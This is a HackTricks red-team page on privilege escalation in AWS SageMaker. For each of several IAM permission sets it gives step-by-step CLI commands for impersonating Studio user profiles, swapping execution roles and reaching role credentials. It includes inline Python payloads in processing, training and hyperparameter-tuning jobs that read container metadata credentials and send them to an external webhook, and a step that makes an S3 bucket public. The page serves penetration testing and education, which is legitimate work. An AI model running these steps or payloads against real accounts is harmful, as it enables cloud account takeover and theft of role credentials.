AWS - Sagemaker Privesc
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Start creating a noteboook with the IAM Role to access attached to it:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
The response should contain a NotebookInstanceArn field, which will contain the ARN of the newly created notebook instance. We can then use the create-presigned-notebook-instance-url API to generate a URL that we can use to access the notebook instance once itās ready:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navigate to the URL with the browser and click on `Open JupyterLab`` in the top right, then scroll down to āLauncherā tab and under the āOtherā section, click the āTerminalā button.
Now Itās possible to access the metadata credentials of the IAM Role.
Potential Impact: Privesc to the sagemaker service role specified.
sagemaker:CreatePresignedNotebookInstanceUrl
If there are Jupyter notebooks are already running on it and you can list them with sagemaker:ListNotebookInstances (or discover them in any other way). You can generate a URL for them, access them, and steal the credentials as indicated in the previous technique.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potential Impact: Privesc to the sagemaker service role attached.
sagemaker:CreatePresignedDomainUrl
Warning
This attack only works on old traditional SageMaker Studio domains, not those created by SageMaker Unified Studio. Domains from Unified Studio will return the error: āThis SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portalā.
An identity with permission to call sagemaker:CreatePresignedDomainUrl on a target Studio UserProfile can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attackerās browser a Studio session that inherits the profileās ExecutionRole permissions and full access to the profileās EFS-backed home and apps. No iam:PassRole or console access is required.
Requirements:
- A SageMaker Studio
Domainand a targetUserProfilewithin it. - The attacker principal needs
sagemaker:CreatePresignedDomainUrlon the targetUserProfile(resourceālevel) or*.
Minimal policy example (scoped to one UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Abuse Steps:
- Enumerate a Studio Domain and UserProfiles you can target
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Check if unified studio is not being used (attack only works on traditional SageMaker Studio domains)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Generate a presigned URL (valid ~5 minutes by default)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Open the returned URL in a browser to sign into Studio as the target user. In a Jupyter terminal inside Studio verify the effective identity or exfiltrate the token:
aws sts get-caller-identity
Notes:
--landing-urican be omitted. Some values (e.g.,app:JupyterLab:/lab) may be rejected depending on Studio flavor/version; defaults typically redirect to the Studio home and then to Jupyter.- Org policies/VPC endpoint restrictions may still block network access; the token minting does not require console signāin or
iam:PassRole.
Potential Impact: Lateral movement and privilege escalation by assuming any Studio UserProfile whose ARN is permitted, inheriting its ExecutionRole and filesystem/apps.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
An identity with permission to call sagemaker:CreatePresignedMlflowTrackingServerUrl (and sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments for later access) for a target SageMaker MLflow Tracking Server can mint a singleāuse presigned URL that authenticates directly to the managed MLflow UI for that server. This grants the same access a legitimate user would have to the server (view/create experiments and runs, and download/upload artifacts in the serverās S3 artifact store).
Requirements:
- A SageMaker MLflow Tracking Server in the account/region and its name.
- The attacker principal needs
sagemaker:CreatePresignedMlflowTrackingServerUrlon the target MLflow Tracking Server resource (or*).
Abuse Steps:
- Enumerate MLflow Tracking Servers you can target and pick one name
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Generate a presigned MLflow UI URL (valid for a short time)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Open the returned URL in a browser to access the MLflow UI as an authenticated user for that Tracking Server.
Potential Impact: Direct access to the managed MLflow UI for the targeted Tracking Server, enabling viewing and modification of experiments/runs and retrieval or upload of artifacts stored in the serverās configured S3 artifact store, within the permissions enforced by the server configuration.
sagemaker:CreateProcessingJob, iam:PassRole
An attacker with those permissions can make SageMaker execute a processing job with a SageMaker role attached to it. By reusing one of the AWS Deep Learning Containers that already incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imÔgenes propias:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. AsegĆŗrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Potential Impact: Privesc to the sagemaker service role specified.
sagemaker:CreateTrainingJob, iam:PassRole
An attacker with those permissions can launch a training job that ejecuta código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imÔgenes propias:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imƔgenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Potential Impact: Privesc to the SageMaker service role specified.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
An attacker with those permissions can launch a HyperParameter Tuning Job that runs attacker-controlled code under the supplied role. Script mode requires hosting the payload in S3, but all steps pueden automatizarse desde la CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Cada entrenamiento lanzado por el proceso imprime la mƩtrica y exfiltra las credenciales del rol indicado.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
With the permission to update a SageMaker Studio User Profile, create an app, a presigned URL to the app and iam:PassRole, an attacker can set the ExecutionRole to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.
Warning
This attack requires that there are no applications in the profile or the app creation will fail with an error similar to:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.If there is any app you will needsagemaker:DeleteApppermission to delete them first.
Steps:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
With permissions to update a SageMaker Studio Domain, create an app, a presigned URL to the app, and iam:PassRole, an attacker can set the default domain ExecutionRole to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.
Warning
This attack requires that there are no applications in the domain or the app creation will fail with the error:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Steps:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
An attacker with permission to create a SageMaker Studio app for a target UserProfile can launch a JupyterServer app that runs with the profileās ExecutionRole. This provides interactive access to the roleās permissions via Jupyter terminals or jobs launched from Studio.
Steps:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Potential Impact: Interactive access to the SageMaker execution role attached to the target UserProfile.
iam:GetUser, datazone:CreateUserProfile
An attacker with those permissions can give user access to an IAM user into a Sagemaker Unified Studio Domain by creating a DataZone User Profile for that user.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
The Unified Domain URL has the following format: https://<domain-id>.sagemaker.<region>.on.aws/ (e.g. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Potential Impact: Access to the Sagemaker Unified Studio Domain as a user being able to access all the resources inside the Sagemaker domain and even escalate privieleges to the role that the notebooks inside the Sagemaker Unified Studio Domain are using.
References
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

